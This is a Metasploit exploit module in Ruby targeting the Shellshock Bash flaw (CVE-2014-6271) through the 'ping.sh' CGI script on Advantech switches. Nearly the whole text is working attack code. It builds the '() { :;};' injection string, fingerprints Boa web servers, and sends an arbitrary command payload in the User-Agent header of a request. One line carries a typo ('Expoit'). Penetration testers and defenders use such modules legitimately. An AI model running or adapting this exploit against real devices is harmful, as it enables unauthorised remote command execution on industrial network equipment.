Advantech Switch Bash Environment Variable Code Injection

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Advantech Switch Bash Environment Variable Code Injection (Shellshock)',  
'Description' => %q{  
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell  
handles external environment variables. This module targets the 'ping.sh' CGI  
script, acessible through the Boa web server on Advantech switches. This module  
was tested against firmware version 1322_D1.98.  
},  
'Author' => 'hdm',  
'References' => [  
['CVE', '2014-6271'],  
['CWE', '94'],  
['OSVDB', '112004'],  
['EDB', '34765'],  
['URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/01/r7-2015-25-advantech-eki-multiple-known-vulnerabilities'],  
['URL', 'https://access.redhat.com/articles/1200223'],  
['URL', 'http://seclists.org/oss-sec/2014/q3/649']  
],  
'Privileged' => false,  
'Arch' => ARCH_CMD,  
'Platform' => 'unix',  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x0A\x0D",  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'openssl generic'  
}  
},  
'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]],  
'DefaultTarget' => 0,  
'License' => MSF_LICENSE,  
'DisclosureDate' => 'Dec 01 2015'  
))  
register_options([  
Opt::RPORT(80)  
], self.class)  
end  
  
#  
# CVE-2014-6271  
#  
def cve_2014_6271(cmd)  
%{() { :;}; $(#{cmd}) & }  
end  
  
#  
# Check credentials  
#  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/cgi-bin/ping.sh'  
)  
if !res  
vprint_error("#{peer} - No response from host")  
return Exploit::CheckCode::Unknown  
elsif res.headers['Server'] =~ /Boa\/(.*)/  
vprint_status("#{peer} - Found Boa version #{$1}")  
else  
print_status("#{peer} - Target is not a Boa web server")  
return Exploit::CheckCode::Safe  
end  
  
if res.body.to_s.index('127.0.0.1 ping statistics')  
return Exploit::CheckCode::Detected  
else  
vprint_error("#{peer} - Target does not appear to be an Advantech switch")  
return Expoit::CheckCode::Safe  
end  
end  
  
#  
# Exploit  
#  
def exploit  
cmd = cve_2014_6271(payload.encoded)  
vprint_status("#{peer} - Trying to run command '#{cmd}'")  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/cgi-bin/ping.sh',  
'agent' => cmd  
)  
end  
  
end  
`